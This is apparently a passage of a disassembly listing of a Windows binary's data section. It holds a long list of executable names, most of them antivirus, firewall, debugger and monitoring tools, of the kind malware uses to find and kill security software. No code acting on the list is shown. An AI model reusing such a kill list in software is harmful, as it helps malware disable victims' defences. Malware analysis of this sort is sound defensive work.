aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: .data:0042261Co
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .data:00422618o
		align 4
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: .data:00422614o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: .data:00422610o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: .data:0042260Co
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: .data:00422608o
		align 4
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: .data:00422604o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: .data:00422600o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: .data:004225FCo
		align 10h
aSc_exe		db 'SC.EXE',0           ; DATA XREF: .data:004225F8o
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: .data:004225F4o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: .data:004225F0o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: .data:004225ECo
		align 4
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: .data:004225E8o
		align 4
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: .data:004225E4o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: .data:004225E0o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .data:004225DCo
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .data:004225D8o
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: .data:004225D4o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: .data:004225D0o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: .data:004225CCo
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: .data:004225C8o
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: .data:004225C4o
		align 4
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: .data:004225C0o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: .data:004225BCo
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: .data:004225B8o
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: .data:004225B4o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: .data:004225B0o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: .data:004225ACo
		align 4
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: .data:004225A8o
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: .data:004225A4o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: .data:004225A0o
		align 10h
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: .data:0042259Co
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:00422598o
		align 4
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: .data:00422594o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: .data:00422590o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: .data:0042258Co
		align 10h
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: .data:00422588o
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: .data:00422584o
		align 4
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: .data:00422580o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: .data:0042257Co
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: .data:00422578o
		align 10h
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: .data:00422574o
		align 4
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: .data:00422570o
		align 4
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: .data:0042256Co
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:00422568o
		align 4
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:00422564o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:00422560o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .data:0042255Co
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: .data:00422558o
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: .data:00422554o
		align 10h
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: .data:00422550o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: .data:0042254Co
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: .data:00422548o
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: .data:00422544o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: .data:00422540o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: .data:0042253Co
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:00422538o
		align 4
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: .data:00422534o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: .data:00422530o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: .data:0042252Co
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: .data:00422528o
		align 10h
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: .data:00422524o
		align 10h
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: .data:00422520o
		align 10h
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: .data:0042251Co
		align 10h
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: .data:00422518o
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: .data:00422514o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: .data:00422510o
		align 10h
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: .data:0042250Co
		align 10h
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: .data:00422508o
		align 4
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: .data:00422504o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: .data:00422500o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: .data:004224FCo
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: .data:004224F8o
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: .data:004224F4o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: .data:004224F0o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: .data:004224ECo
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: .data:004224E8o
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: .data:004224E4o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:004224E0o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: .data:004224DCo
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: .data:004224D8o
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: .data:004224D4o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: .data:004224D0o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: .data:004224CCo
		align 10h
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: .data:004224C8o
		align 4
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: .data:004224C4o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: .data:004224C0o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:004224BCo
		align 4
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:004224B8o
		align 10h
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: .data:004224B0o
					; .data:004224B4o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: .data:004224ACo
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: .data:004224A8o
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: .data:004224A4o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: .data:004224A0o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: .data:0042249Co
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: .data:00422498o
		align 10h
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: .data:00422494o
		align 10h
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: .data:00422490o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: .data:0042248Co
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: .data:00422488o
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: .data:00422484o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: .data:0042247Co
					; .data:00422480o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: .data:00422478o
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: .data:00422474o
		align 4
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: .data:00422470o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: .data:0042246Co
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: .data:00422468o
		align 10h
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: .data:00422464o
		align 10h
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: .data:00422460o
		align 10h
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: .data:0042245Co
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: .data:00422458o
		align 4
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: .data:00422454o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: .data:00422450o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: .data:0042244Co
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:00422448o
		align 4
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:00422444o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: .data:00422440o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0042243Co
		align 4
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: .data:00422438o
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: .data:00422434o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: .data:00422430o
		align 10h
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: .data:0042242Co
		align 4
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: .data:00422428o
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: .data:00422424o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: .data:00422420o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0042241Co
		align 4
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: .data:00422418o
		align 4
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: .data:00422414o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: .data:00422410o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: .data:0042240Co
		align 10h
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: .data:00422408o
		align 10h
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: .data:00422404o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: .data:00422400o
		align 10h
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: .data:004223FCo
		align 4
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: .data:004223F8o
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: .data:004223F4o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: .data:004223F0o
		align 10h
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: .data:004223ECo
		align 4
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: .data:004223E8o
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: .data:004223E4o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: .data:004223E0o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:004223DCo
		align 4
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: .data:004223D8o
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: .data:004223D4o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: .data:004223D0o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:004223CCo
		align 4
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:004223C8o
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: .data:004223C4o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: .data:004223C0o
		align 10h
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: .data:004223BCo
		align 4
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: .data:004223B8o
		align 4
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: .data:004223B4o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: .data:004223B0o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: .data:004223ACo
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: .data:004223A8o
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: .data:004223A4o
		align 10h
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: .data:004223A0o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: .data:0042239Co
		align 4
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: .data:00422398o
		align 4
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: .data:00422394o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: .data:00422390o
		align 4
aMsconfig_exe	db 'MSCONFIG.EXE',0     ; DATA XREF: .data:0042238Co
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: .data:00422388o
		align 10h
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: .data:00422384o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: .data:00422380o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .data:0042237Co
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: .data:00422378o
		align 10h
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: .data:00422374o
		align 4
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: .data:00422370o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: .data:0042236Co
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: .data:00422368o
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: .data:00422364o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: .data:00422360o
		align 10h
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: .data:0042235Co
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: .data:00422358o
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: .data:00422354o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: .data:00422350o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: .data:0042234Co
		align 4
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: .data:00422348o
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: .data:00422344o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: .data:00422340o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0042233Co
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: .data:00422338o
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: .data:00422334o
		align 10h
aMd_exe		db 'MD.EXE',0           ; DATA XREF: .data:00422330o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: .data:0042232Co
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: .data:00422328o
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: .data:00422320o
					; .data:00422324o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: .data:0042231Co
		align 10h
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: .data:00422318o
		align 10h
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: .data:00422314o
		align 10h
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: .data:00422310o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: .data:0042230Co
		align 4
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: .data:00422308o
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: .data:00422304o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: .data:00422300o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: .data:004222FCo
		align 10h
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: .data:004222F4o
					; .data:004222F8o
		align 4
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: .data:004222F0o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: .data:004222ECo
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: .data:004222E8o
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:004222E4o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: .data:004222E0o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: .data:004222DCo
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: .data:004222D8o
		align 10h
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: .data:004222D4o
		align 10h
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: .data:004222D0o
		align 4
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: .data:004222CCo
		align 4
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: .data:004222C8o
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: .data:004222C4o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: .data:004222C0o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:004222BCo
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .data:004222B8o
		align 10h
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:004222B4o
		align 4
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:004222B0o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:004222ACo
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: .data:004222A8o
		align 10h
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: .data:004222A4o
		align 4
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: .data:004222A0o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0042229Co
		align 4
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:00422298o
		align 10h
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: .data:00422294o
		align 4
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: .data:00422290o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: .data:0042228Co
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: .data:00422288o
		align 10h
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: .data:00422284o
		align 4
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .data:00422280o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: .data:0042227Co
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: .data:00422278o
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: .data:00422274o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: .data:00422270o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: .data:0042226Co
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: .data:00422268o
		align 10h
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: .data:00422264o
		align 4
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: .data:00422260o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: .data:0042225Co
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: .data:00422258o
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: .data:00422254o
		align 10h
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: .data:00422250o
		align 10h
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: .data:0042224Co
		align 10h
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: .data:00422248o
		align 4
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: .data:00422244o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: .data:00422240o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: .data:00422238o
					; .data:0042223Co
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: .data:00422234o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: .data:00422230o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: .data:0042222Co
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: .data:00422228o
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: .data:00422224o
		align 4
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: .data:00422220o
		align 4
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: .data:0042221Co
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: .data:00422218o
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: .data:00422214o
		align 10h
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: .data:00422210o
		align 4
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: .data:0042220Co
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: .data:00422208o
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: .data:00422204o
		align 10h
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: .data:00422200o
		align 10h
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: .data:004221FCo
		align 10h
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: .data:004221F8o
		align 4
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: .data:004221F4o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:004221F0o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: .data:004221ECo
		align 4
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: .data:004221E8o
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: .data:004221E4o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: .data:004221E0o
		align 10h
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: .data:004221DCo
		align 4
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: .data:004221D8o
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: .data:004221D4o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: .data:004221D0o
		align 10h
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: .data:004221CCo
		align 4
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: .data:004221C8o
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: .data:004221C4o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: .data:004221C0o
		align 10h
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:004221BCo
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:004221B8o
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: .data:004221B4o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: .data:004221B0o
		align 10h
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: .data:004221ACo
		align 4
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: .data:004221A8o
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: .data:004221A4o
		align 10h
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:004221A0o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: .data:0042219Co
		align 10h
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: .data:00422198o
		align 4
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:00422194o
		align 10h
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: .data:00422190o
		align 10h
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: .data:0042218Co
		align 10h
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: .data:00422188o
		align 4
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: .data:00422184o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: .data:00422180o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: .data:0042217Co
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: .data:00422178o
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: .data:00422174o
		align 4
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: .data:00422170o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: .data:0042216Co
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: .data:00422168o
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: .data:00422164o
		align 10h
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: .data:00422160o
		align 10h
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0042215Co
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: .data:00422158o
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: .data:00422154o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: .data:00422150o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: .data:0042214Co
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: .data:00422148o
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: .data:00422144o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: .data:00422140o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: .data:0042213Co
		align 10h
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: .data:00422138o
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: .data:00422134o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: .data:00422130o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: .data:0042212Co
		align 10h
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: .data:00422128o
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: .data:00422124o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: .data:00422120o
		align 4
